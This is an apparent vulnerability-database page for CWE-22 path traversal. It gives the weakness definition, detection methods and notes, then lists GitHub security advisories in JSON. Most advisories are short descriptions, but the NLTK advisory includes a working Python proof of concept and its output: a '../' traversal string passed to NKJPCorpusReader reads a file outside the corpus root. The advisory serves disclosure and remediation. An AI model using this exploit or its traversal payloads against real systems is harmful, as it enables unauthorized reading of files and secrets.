CWE-22
Weakness Allowed-with-ReviewImproper Limitation of a Pathname to a Restricted Directory
Abstraction: Base · Status: Stable
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
Many file operations are intended to take place within a restricted directory. By using special elements such as ".." and "/" separators, attackers can escape outside of the restricted location to access files or directories that are elsewhere on the system. One of the most common special elements is the "../" sequence, which in most modern operating systems is interpreted as the parent directory of the current location. This is referred to as relative path traversal. Path traversal also covers the use of absolute pathnames such as "/usr/local/bin" to access unexpected files. This is referred to as absolute path traversal.
Mapping guidance
This CWE entry might have children that would be more appropriate.
Examine children of this entry to see if there is a better fit. Consider children such as CWE-23 (or its descendants) for relative path traversal, or CWE-36 for absolute path traversal.
Relationships and members
Modes of introduction
Detection methods
Automated Static Analysis
Automated techniques can find areas where path traversal weaknesses exist. However, tuning or customization may be required to remove or de-prioritize path-traversal problems that are only exploitable by the product's administrator - or other privileged users - and thus potentially valid behavior or, at worst, a bug instead of a vulnerability.
Effectiveness: High
Manual Static Analysis
Manual white box techniques may be able to provide sufficient code coverage and reduction of false positives if all file access operations can be assessed within limited time constraints.
Effectiveness: High
Automated Static Analysis - Binary or Bytecode
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Bytecode Weakness Analysis - including disassembler + source code weakness analysis
Cost effective for partial coverage:
Binary Weakness Analysis - including disassembler + source code weakness analysis
Effectiveness: High
Manual Static Analysis - Binary or Bytecode
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies
Effectiveness: SOAR Partial
Dynamic Analysis with Automated Results Interpretation
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Web Application Scanner
Web Services Scanner
Database Scanners
Effectiveness: High
Dynamic Analysis with Manual Results Interpretation
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Fuzz Tester
Framework-based Fuzzer
Effectiveness: High
Manual Static Analysis - Source Code
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Manual Source Code Review (not inspections)
Cost effective for partial coverage:
Focused Manual Spotcheck - Focused manual analysis of source
Effectiveness: High
Automated Static Analysis - Source Code
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Source code Weakness Analyzer
Context-configured Source Code Weakness Analyzer
Effectiveness: High
Architecture or Design Review
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
Effectiveness: High
Notes
Other
In many programming languages, the injection of a null byte (the 0 or NUL) may allow an attacker to truncate a generated filename to apply to a wider range of files. For example, the product may add ".txt" to any pathname, thus limiting the attacker to text files, but a null injection may effectively remove this restriction.
Relationship
Pathname equivalence can be regarded as a type of canonicalization error.
Relationship
Some pathname equivalence issues are not directly related to directory traversal, rather are used to bypass security-relevant checks for whether a file/directory can be accessed by the attacker (e.g. a trailing "/" on a filename could bypass access rules that don't expect a trailing /, causing a server to provide the file when it normally would not).
Terminology
Like other weaknesses, terminology is often based on the types of manipulations used, instead of the underlying weaknesses. Some people use "directory traversal" only to refer to the injection of ".." and equivalent sequences whose specific meaning is to traverse directories.
Other variants like "absolute pathname" and "drive letter" have the *effect* of directory traversal, but some people may not call it such, since it doesn't involve ".." or equivalent.
Research Gap
Many variants of path traversal attacks are probably under-studied with respect to root cause. CWE-790 and CWE-182 begin to cover part of this gap.
Research Gap
Incomplete diagnosis or reporting of vulnerabilities can make it difficult to know which variant is affected. For example, a researcher might say that "..\" is vulnerable, but not test "../" which may also be vulnerable.
Any combination of directory separators ("/", "\", etc.) and numbers of "." (e.g. "....") can produce unique variants; for example, the "//../" variant is not listed (CVE-2004-0325). See this entry's children and lower-level descendants.
Content history
Identified weakness in Perl demonstrative example
Provided diagram to improve CWE usability
Identified weakness in "good code" for Python demonstrative example
Provided a demonstrative example in PHP
updated Potential_Mitigations, Time_of_Introduction
Suggested OWASP Top Ten 2004 mapping
updated Alternate_Terms, Relationships, Other_Notes, Relationship_Notes, Relevant_Properties, Taxonomy_Mappings, Weakness_Ordinalities
updated Description
updated Relationships, Taxonomy_Mappings
updated Potential_Mitigations
updated Alternate_Terms, Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Description, Detection_Factors, Likelihood_of_Exploit, Name, Observed_Examples, Other_Notes, Potential_Mitigations, References, Related_Attack_Patterns, Relationship_Notes, Relationships, Research_Gaps, Taxonomy_Mappings, Terminology_Notes, Time_of_Introduction, Weakness_Ordinalities
updated Common_Consequences, Demonstrative_Examples, Description, Detection_Factors, Potential_Mitigations, References, Relationships
updated Potential_Mitigations
updated Potential_Mitigations
updated Potential_Mitigations
updated Relationships
updated Potential_Mitigations, References, Relationships, Taxonomy_Mappings
updated Demonstrative_Examples, References, Relationships
updated Potential_Mitigations
updated Observed_Examples
updated Related_Attack_Patterns, Relationships
updated Other_Notes, Research_Gaps
updated Detection_Factors, Relationships, Taxonomy_Mappings
updated Relationships
updated Related_Attack_Patterns
updated Demonstrative_Examples
updated Affected_Resources, Causal_Nature, Likelihood_of_Exploit, References, Relationships, Relevant_Properties, Taxonomy_Mappings
updated References, Relationships
updated References, Related_Attack_Patterns, Relationships, Taxonomy_Mappings
updated Related_Attack_Patterns, Relationships, Type
updated Relationships
updated Potential_Mitigations, Relationships
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updated Relationships
updated Potential_Mitigations, Relationships
updated Demonstrative_Examples, Relationships
updated Relationships
updated Observed_Examples, Relationships
updated Observed_Examples, Relationships
updated Observed_Examples, References
updated Common_Consequences, Description, Detection_Factors
updated Demonstrative_Examples, References, Relationships, Time_of_Introduction
updated Mapping_Notes, Relationships
updated Observed_Examples
updated Common_Consequences, Description, Diagram, Observed_Examples, Other_Notes, References
updated Demonstrative_Examples, Relationships
updated Relationships
updated Applicable_Platforms, Detection_Factors, Observed_Examples, Potential_Mitigations, References
updated Mapping_Notes, Relationships
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updated Applicable_Platforms, Common_Consequences, Name, References, Relationships, Taxonomy_Mappings
16174 vulnerabilities reference this CWE, most recent first.
GHSA-6H9C-6MHG-JV2G
Vulnerability from github – Published: 2022-07-12 00:00 – Updated: 2022-07-16 00:00The ThundeRatz/ThunderDocs repository through 2020-05-01 on GitHub allows absolute path traversal because the Flask send_file function is used unsafely.
{
"affected": [],
"aliases": [
"CVE-2022-31526"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-07-11T01:15:00Z",
"severity": "CRITICAL"
},
"details": "The ThundeRatz/ThunderDocs repository through 2020-05-01 on GitHub allows absolute path traversal because the Flask send_file function is used unsafely.",
"id": "GHSA-6h9c-6mhg-jv2g",
"modified": "2022-07-16T00:00:33Z",
"published": "2022-07-12T00:00:57Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-31526"
},
{
"type": "WEB",
"url": "https://github.com/github/securitylab/issues/669#issuecomment-1117265726"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-6HC6-RPP8-FM56
Vulnerability from github – Published: 2026-08-14 18:31 – Updated: 2026-08-14 18:31Nozomi Networks Labs identified a CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in the file management functionality of the XML-RPC management interface of KUNBUS RevPiPyLoad in version 0.11.0 that allows a local unauthenticated attacker to delete arbitrary files with the privileges of the RevPiPyLoad daemon, resulting in loss of configuration integrity and denial of service, by sending crafted requests to the local management service.
{
"affected": [],
"aliases": [
"CVE-2026-57472"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-14T16:16:58Z",
"severity": "MODERATE"
},
"details": "Nozomi Networks Labs identified a CWE-22: Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027) vulnerability in the file management functionality of the XML-RPC management interface of KUNBUS RevPiPyLoad in version 0.11.0 that allows a local unauthenticated attacker to delete arbitrary files with the privileges of the RevPiPyLoad daemon, resulting in loss of configuration integrity and denial of service, by sending crafted requests to the local management service.",
"id": "GHSA-6hc6-rpp8-fm56",
"modified": "2026-08-14T18:31:38Z",
"published": "2026-08-14T18:31:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-57472"
},
{
"type": "WEB",
"url": "https://www.nozominetworks.com/labs/vulnerability-advisories-cve-2026-57472"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-6HH4-7WC7-6VQ9
Vulnerability from github – Published: 2022-05-24 17:36 – Updated: 2022-08-07 00:00In AWStats through 7.8, cgi-bin/awstats.pl?config= accepts a partial absolute pathname (omitting the initial /etc), even though it was intended to only read a file in the /etc/awstats/awstats.conf format. NOTE: this issue exists because of an incomplete fix for CVE-2017-1000501 and CVE-2020-29600.
{
"affected": [],
"aliases": [
"CVE-2020-35176"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-12-12T00:15:00Z",
"severity": "MODERATE"
},
"details": "In AWStats through 7.8, cgi-bin/awstats.pl?config= accepts a partial absolute pathname (omitting the initial /etc), even though it was intended to only read a file in the /etc/awstats/awstats.conf format. NOTE: this issue exists because of an incomplete fix for CVE-2017-1000501 and CVE-2020-29600.",
"id": "GHSA-6hh4-7wc7-6vq9",
"modified": "2022-08-07T00:00:29Z",
"published": "2022-05-24T17:36:12Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-35176"
},
{
"type": "WEB",
"url": "https://github.com/eldy/awstats/issues/195"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2020/12/msg00035.html"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/47QZWKSRZYZFESYTLSW7A6KVKOOPL7IV"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/BRHYCKLW5VPM6KP2WZW6DCCVHVBG7YCW"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-6HM5-JGCP-P838
Vulnerability from github – Published: 2026-07-31 16:50 – Updated: 2026-07-31 16:50Summary
A path-traversal vulnerability in NKJPCorpusReader allows an attacker who can
influence the fileids argument of its public read methods (header, raw,
words, sents, tagged_words) to read files outside the corpus root. The
reader builds the file path with no containment check and opens it with the
builtin open(), so it bypasses NLTK's nltk.pathsec sandbox — including the
strict ENFORCE = True mode that SECURITY.md recommends for web/multi-tenant
deployments. header() returns the parsed content of the out-of-root file to
the caller (arbitrary file read).
### Details
SECURITY.md promises that file access is "validated against allowed NLTK data
directories" and that with nltk.pathsec.ENFORCE = True "unauthorized file
access … will raise PermissionError." That guarantee is enforced via
FileSystemPathPointer.open() / CorpusReader.open(), which call
nltk.pathsec.validate_path(...).
NKJPCorpusReader never uses that protected path. In
nltk/corpus/reader/nkjp.py:
add_root()builds the path by plain string concatenation with no normalization or containment check:python def add_root(self, fileid): # lines 96-102 if self.root in fileid: return fileid # attacker-controlled value returned unchanged return self.root + fileid # plain concat, '..' not stripped- The header view appends a fixed basename and passes the string straight into
the corpus view (which opens it with the builtin
open()):python class NKJPCorpus_Header_View(XMLCorpusView): # line 181 def __init__(self, filename, **kwargs): XMLCorpusView.__init__(self, filename + "header.xml", self.tagspec) # line 189 - The other modes reach the filesystem through
XML_Tool, which uses a rawos.path.join(not the hardenedFileSystemPathPointer.join()) and the builtinopen():python class XML_Tool: # line 243 def __init__(self, root, filename): self.read_file = os.path.join(root, filename) # line 251 def build_preprocessed_file(self): fr = open(self.read_file) # line 256 — pathsec never consulted
Because open() is the builtin (not PathPointer.open()), the pathsec
sentinel is never invoked, so ENFORCE = True does not block the access. For
comparison, the safe API CorpusReader.open() (nltk/corpus/reader/api.py:222)
rejects ../absolute fileids and calls validate_path(..., required_root=...)
before opening — NKJPCorpusReader simply does not go through it.
### PoC
Tested against nltk==3.9.4 (latest PyPI release) and current develop.
pip install "nltk==3.9.4"
python3 poc.py
poc.py:
```python
import builtins, os, shutil, tempfile, warnings
warnings.simplefilter("ignore")
import nltk, nltk.pathsec as pathsec
from nltk.corpus.reader.nkjp import NKJPCorpusReader
print("nltk", nltk.version)
# A legitimate, empty NKJP corpus root (what a real app has). root = tempfile.mkdtemp(prefix="nkjp_corpus_root_") os.makedirs(os.path.join(root, "sample"), exist_ok=True) open(os.path.join(root, "sample", "header.xml"), "w").write("")
# The attacker's target: a file OUTSIDE the corpus root. secret_dir = tempfile.mkdtemp(prefix="OUTSIDE_ROOT_") open(os.path.join(secret_dir, "header.xml"), "w").write( "" "SECRET-API-KEY=sk-live-DEADBEEF" "")
# Enable the strict mode SECURITY.md recommends for web / multi-tenant. pathsec.ENFORCE = True print("ENFORCE =", pathsec.ENFORCE)
# Prove the out-of-root read and that pathsec is never consulted. opened = []; real = builtins.open builtins.open = lambda f, *a, **k: (opened.append(str(f)), real(f, *a, **k))[1]
reader = NKJPCorpusReader(root=root + "/", fileids="sample")
# Attacker-controlled fileids; '..' escapes the corpus root:
evil = root + "/../../../../../../.." + secret_dir + "/"
try:
result = reader.header(fileids=[evil])
finally:
builtins.open = real
print("opened outside root:", [p for p in opened if "OUTSIDE_ROOT_" in p][:1]) print("disclosed content :", result[0]["title"]) shutil.rmtree(root, ignore_errors=True); shutil.rmtree(secret_dir, ignore_errors=True) ```
Output (unmodified):
nltk 3.9.4
ENFORCE = True
opened outside root: ['/tmp/nkjp_corpus_root_XXXX/../../../../../../../tmp/OUTSIDE_ROOT_YYYY/header.xml']
disclosed content : SECRET-API-KEY=sk-live-DEADBEEF
With ENFORCE = True, NLTK opened a file outside the corpus root via the
builtin open() (no PermissionError, no warning) and returned its content.
### Impact
This is a path traversal (CWE-22) leading to arbitrary file read. Any
application that passes attacker-influenced values into NKJPCorpusReader's
fileids (e.g. letting a user choose which corpus document to read) is
affected; the attacker can escape the corpus root and read files elsewhere on
the host, defeating the ENFORCE=True sandbox.
Honest scoping: header() discloses the content of out-of-root files named
header.xml containing NKJP header XML. raw()/words()/sents() also open
and read an arbitrary out-of-root file (proven by intercepting open()), but a
separate pre-existing bug in XML_Tool (writing str to a binary
NamedTemporaryFile) suppresses their return value on current Python, so for
those modes the impact is arbitrary file open/read. The attacker chooses the
directory freely; a fixed basename is appended per mode. The same
"build-path-then-builtin-open, skipping pathsec" anti-pattern also appears in
xmldocs.py:161, util.py:212,215, crubadan.py:78,97, lin.py:43,
ipipan.py:191, pl196x.py:110 and is worth fixing as a class.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.9.4"
},
"package": {
"ecosystem": "PyPI",
"name": "nltk"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.10.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-12072"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-31T16:50:55Z",
"nvd_published_at": "2026-06-15T20:16:34Z",
"severity": "HIGH"
},
"details": "### Summary\n A path-traversal vulnerability in `NKJPCorpusReader` allows an attacker who can\n influence the `fileids` argument of its public read methods (`header`, `raw`,\n `words`, `sents`, `tagged_words`) to read files outside the corpus root. The\n reader builds the file path with no containment check and opens it with the\n builtin `open()`, so it bypasses NLTK\u0027s `nltk.pathsec` sandbox \u2014 including the\n strict `ENFORCE = True` mode that `SECURITY.md` recommends for web/multi-tenant\n deployments. `header()` returns the parsed content of the out-of-root file to\n the caller (arbitrary file read).\n\n ### Details\n `SECURITY.md` promises that file access is \"validated against allowed NLTK data\n directories\" and that with `nltk.pathsec.ENFORCE = True` \"unauthorized file\n access \u2026 will raise `PermissionError`.\" That guarantee is enforced via\n `FileSystemPathPointer.open()` / `CorpusReader.open()`, which call\n `nltk.pathsec.validate_path(...)`.\n\n `NKJPCorpusReader` never uses that protected path. In\n `nltk/corpus/reader/nkjp.py`:\n\n - `add_root()` builds the path by **plain string concatenation** with no\n normalization or containment check:\n ```python\n def add_root(self, fileid): # lines 96-102\n if self.root in fileid:\n return fileid # attacker-controlled value returned unchanged\n return self.root + fileid # plain concat, \u0027..\u0027 not stripped\n ```\n - The header view appends a fixed basename and passes the string straight into\n the corpus view (which opens it with the builtin `open()`):\n ```python\n class NKJPCorpus_Header_View(XMLCorpusView): # line 181\n def __init__(self, filename, **kwargs):\n XMLCorpusView.__init__(self, filename + \"header.xml\", self.tagspec) # line 189\n ```\n - The other modes reach the filesystem through `XML_Tool`, which uses a raw\n `os.path.join` (not the hardened `FileSystemPathPointer.join()`) and the\n builtin `open()`:\n ```python\n class XML_Tool: # line 243\n def __init__(self, root, filename):\n self.read_file = os.path.join(root, filename) # line 251\n def build_preprocessed_file(self):\n fr = open(self.read_file) # line 256 \u2014 pathsec never consulted\n ```\n\n Because `open()` is the builtin (not `PathPointer.open()`), the `pathsec`\n sentinel is never invoked, so `ENFORCE = True` does not block the access. For\n comparison, the safe API `CorpusReader.open()` (`nltk/corpus/reader/api.py:222`)\n rejects `..`/absolute fileids and calls `validate_path(..., required_root=...)`\n before opening \u2014 `NKJPCorpusReader` simply does not go through it.\n\n ### PoC\n Tested against `nltk==3.9.4` (latest PyPI release) and current `develop`.\n\n ```\n pip install \"nltk==3.9.4\"\n python3 poc.py\n ```\n\n `poc.py`:\n ```python\n import builtins, os, shutil, tempfile, warnings\n warnings.simplefilter(\"ignore\")\n import nltk, nltk.pathsec as pathsec\n from nltk.corpus.reader.nkjp import NKJPCorpusReader\n\n print(\"nltk\", nltk.__version__)\n\n # A legitimate, empty NKJP corpus root (what a real app has).\n root = tempfile.mkdtemp(prefix=\"nkjp_corpus_root_\")\n os.makedirs(os.path.join(root, \"sample\"), exist_ok=True)\n open(os.path.join(root, \"sample\", \"header.xml\"), \"w\").write(\"\u003cx/\u003e\")\n\n # The attacker\u0027s target: a file OUTSIDE the corpus root.\n secret_dir = tempfile.mkdtemp(prefix=\"OUTSIDE_ROOT_\")\n open(os.path.join(secret_dir, \"header.xml\"), \"w\").write(\n \"\u003cteiHeader\u003e\u003cfileDesc\u003e\u003csourceDesc\u003e\u003cbibl\u003e\"\n \"\u003ctitle\u003eSECRET-API-KEY=sk-live-DEADBEEF\u003c/title\u003e\"\n \"\u003c/bibl\u003e\u003c/sourceDesc\u003e\u003c/fileDesc\u003e\u003c/teiHeader\u003e\")\n\n # Enable the strict mode SECURITY.md recommends for web / multi-tenant.\n pathsec.ENFORCE = True\n print(\"ENFORCE =\", pathsec.ENFORCE)\n\n # Prove the out-of-root read and that pathsec is never consulted.\n opened = []; real = builtins.open\n builtins.open = lambda f, *a, **k: (opened.append(str(f)), real(f, *a, **k))[1]\n\n reader = NKJPCorpusReader(root=root + \"/\", fileids=\"sample\")\n # Attacker-controlled `fileids`; \u0027..\u0027 escapes the corpus root:\n evil = root + \"/../../../../../../..\" + secret_dir + \"/\"\n try:\n result = reader.header(fileids=[evil])\n finally:\n builtins.open = real\n\n print(\"opened outside root:\", [p for p in opened if \"OUTSIDE_ROOT_\" in p][:1])\n print(\"disclosed content :\", result[0][\"title\"])\n shutil.rmtree(root, ignore_errors=True); shutil.rmtree(secret_dir, ignore_errors=True)\n ```\n\n Output (unmodified):\n ```\n nltk 3.9.4\n ENFORCE = True\n opened outside root: [\u0027/tmp/nkjp_corpus_root_XXXX/../../../../../../../tmp/OUTSIDE_ROOT_YYYY/header.xml\u0027]\n disclosed content : SECRET-API-KEY=sk-live-DEADBEEF\n ```\n With `ENFORCE = True`, NLTK opened a file outside the corpus root via the\n builtin `open()` (no `PermissionError`, no warning) and returned its content.\n\n ### Impact\n This is a path traversal (CWE-22) leading to arbitrary file read. Any\n application that passes attacker-influenced values into `NKJPCorpusReader`\u0027s\n `fileids` (e.g. letting a user choose which corpus document to read) is\n affected; the attacker can escape the corpus root and read files elsewhere on\n the host, defeating the `ENFORCE=True` sandbox.\n\n Honest scoping: `header()` discloses the content of out-of-root files named\n `header.xml` containing NKJP header XML. `raw()`/`words()`/`sents()` also open\n and read an arbitrary out-of-root file (proven by intercepting `open()`), but a\n separate pre-existing bug in `XML_Tool` (writing `str` to a binary\n `NamedTemporaryFile`) suppresses their return value on current Python, so for\n those modes the impact is arbitrary file open/read. The attacker chooses the\n directory freely; a fixed basename is appended per mode. The same\n \"build-path-then-builtin-open, skipping pathsec\" anti-pattern also appears in\n `xmldocs.py:161`, `util.py:212,215`, `crubadan.py:78,97`, `lin.py:43`,\n `ipipan.py:191`, `pl196x.py:110` and is worth fixing as a class.",
"id": "GHSA-6hm5-jgcp-p838",
"modified": "2026-07-31T16:50:55Z",
"published": "2026-07-31T16:50:55Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/security/advisories/GHSA-6hm5-jgcp-p838"
},
{
"type": "PACKAGE",
"url": "https://github.com/nltk/nltk"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Natural Language Toolkit (NLTK): Path Traversal in NKJPCorpusReader leads to Arbitrary File Read and bypasses the nltk.pathsec sandbox (ENFORCE=True)"
}
GHSA-6HPX-36C6-C2J2
Vulnerability from github – Published: 2023-03-26 21:30 – Updated: 2023-04-03 18:32An issue in the component /network_config/nsg_masq.cgi of DCN (Digital China Networks) DCBI-Netlog-LAB v1.0 allows attackers to bypass authentication and execute arbitrary commands via a crafted request.
{
"affected": [],
"aliases": [
"CVE-2023-26802"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-03-26T21:15:00Z",
"severity": "CRITICAL"
},
"details": "An issue in the component /network_config/nsg_masq.cgi of DCN (Digital China Networks) DCBI-Netlog-LAB v1.0 allows attackers to bypass authentication and execute arbitrary commands via a crafted request.",
"id": "GHSA-6hpx-36c6-c2j2",
"modified": "2023-04-03T18:32:08Z",
"published": "2023-03-26T21:30:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-26802"
},
{
"type": "WEB",
"url": "https://github.com/winmt/my-vuls/tree/main/DCN%20DCBI-Netlog-LAB"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-6HQX-F664-V9XX
Vulnerability from github – Published: 2026-01-23 06:31 – Updated: 2026-01-23 06:317-Zip ZIP File Parsing Directory Traversal Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of 7-Zip. Interaction with this product is required to exploit this vulnerability but attack vectors may vary depending on the implementation.
The specific flaw exists within the handling of symbolic links in ZIP files. Crafted data in a ZIP file can cause the process to traverse to unintended directories. An attacker can leverage this vulnerability to execute code in the context of a service account. Was ZDI-CAN-26743.
{
"affected": [],
"aliases": [
"CVE-2025-11002"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-01-23T04:16:00Z",
"severity": "HIGH"
},
"details": "7-Zip ZIP File Parsing Directory Traversal Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of 7-Zip. Interaction with this product is required to exploit this vulnerability but attack vectors may vary depending on the implementation.\n\nThe specific flaw exists within the handling of symbolic links in ZIP files. Crafted data in a ZIP file can cause the process to traverse to unintended directories. An attacker can leverage this vulnerability to execute code in the context of a service account. Was ZDI-CAN-26743.",
"id": "GHSA-6hqx-f664-v9xx",
"modified": "2026-01-23T06:31:23Z",
"published": "2026-01-23T06:31:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-11002"
},
{
"type": "WEB",
"url": "https://www.zerodayinitiative.com/advisories/ZDI-25-950"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-6HRC-72JV-9CP2
Vulnerability from github – Published: 2026-06-05 21:32 – Updated: 2026-06-16 21:31A path traversal vulnerability exists in the Altium Enterprise Server Vault Service UploadController due to improper validation of a user-controlled path component in image upload requests. An authenticated user can supply a crafted absolute path so that the configured storage root is discarded, allowing arbitrary files to be written to any location on the server filesystem writable by the service account.
Because content-controlled files can be written to web-accessible directories, or used to overwrite application binaries or configuration files, this can be escalated to remote code execution, service takeover, or denial of service. Altium 365 cloud deployments are not affected, as the affected endpoint is not reachable and the cloud storage architecture mitigates the file-write primitive.
{
"affected": [],
"aliases": [
"CVE-2026-11419"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-05T20:17:29Z",
"severity": "CRITICAL"
},
"details": "A path traversal vulnerability exists in the Altium Enterprise Server Vault Service UploadController due to improper validation of a user-controlled path component in image upload requests. An authenticated user can supply a crafted absolute path so that the configured storage root is discarded, allowing arbitrary files to be written to any location on the server filesystem writable by the service account.\n\n\n\n\nBecause content-controlled files can be written to web-accessible directories, or used to overwrite application binaries or configuration files, this can be escalated to remote code execution, service takeover, or denial of service. Altium 365 cloud deployments are not affected, as the affected endpoint is not reachable and the cloud storage architecture mitigates the file-write primitive.",
"id": "GHSA-6hrc-72jv-9cp2",
"modified": "2026-06-16T21:31:54Z",
"published": "2026-06-05T21:32:03Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-11419"
},
{
"type": "WEB",
"url": "https://www.altium.com/platform/security-compliance/security-advisories"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-6HWG-W5JG-9C6X
Vulnerability from github – Published: 2024-01-31 23:13 – Updated: 2024-04-22 19:08util/binfmt_misc/check.go in Builder in Docker Engine before 19.03.9 calls os.OpenFile with a potentially unsafe qemu-check temporary pathname, constructed with an empty first argument in an ioutil.TempDir call.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/moby/moby"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "19.03.9"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/docker/docker"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "19.03.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2020-27534"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2024-01-31T23:13:10Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "util/binfmt_misc/check.go in Builder in Docker Engine before 19.03.9 calls os.OpenFile with a potentially unsafe qemu-check temporary pathname, constructed with an empty first argument in an ioutil.TempDir call.",
"id": "GHSA-6hwg-w5jg-9c6x",
"modified": "2024-04-22T19:08:25Z",
"published": "2024-01-31T23:13:10Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-27534"
},
{
"type": "WEB",
"url": "https://github.com/moby/buildkit/pull/1462"
},
{
"type": "WEB",
"url": "https://github.com/moby/moby/pull/40877"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=1921154"
},
{
"type": "WEB",
"url": "http://web.archive.org/web/20200530054359/https://docs.docker.com/engine/release-notes"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Path Traversal in Moby builder"
}
GHSA-6HXG-34V8-XGRP
Vulnerability from github – Published: 2022-05-01 23:49 – Updated: 2025-04-09 03:54Directory traversal vulnerability in the FireFTP add-on before 0.98.20080518 for Firefox allows remote FTP servers to create or overwrite arbitrary files via ..\ (dot dot backslash) sequences in responses to (1) MLSD and (2) LIST commands, a related issue to CVE-2002-1345. NOTE: this can be leveraged for code execution by writing to a Startup folder.
{
"affected": [],
"aliases": [
"CVE-2008-2399"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
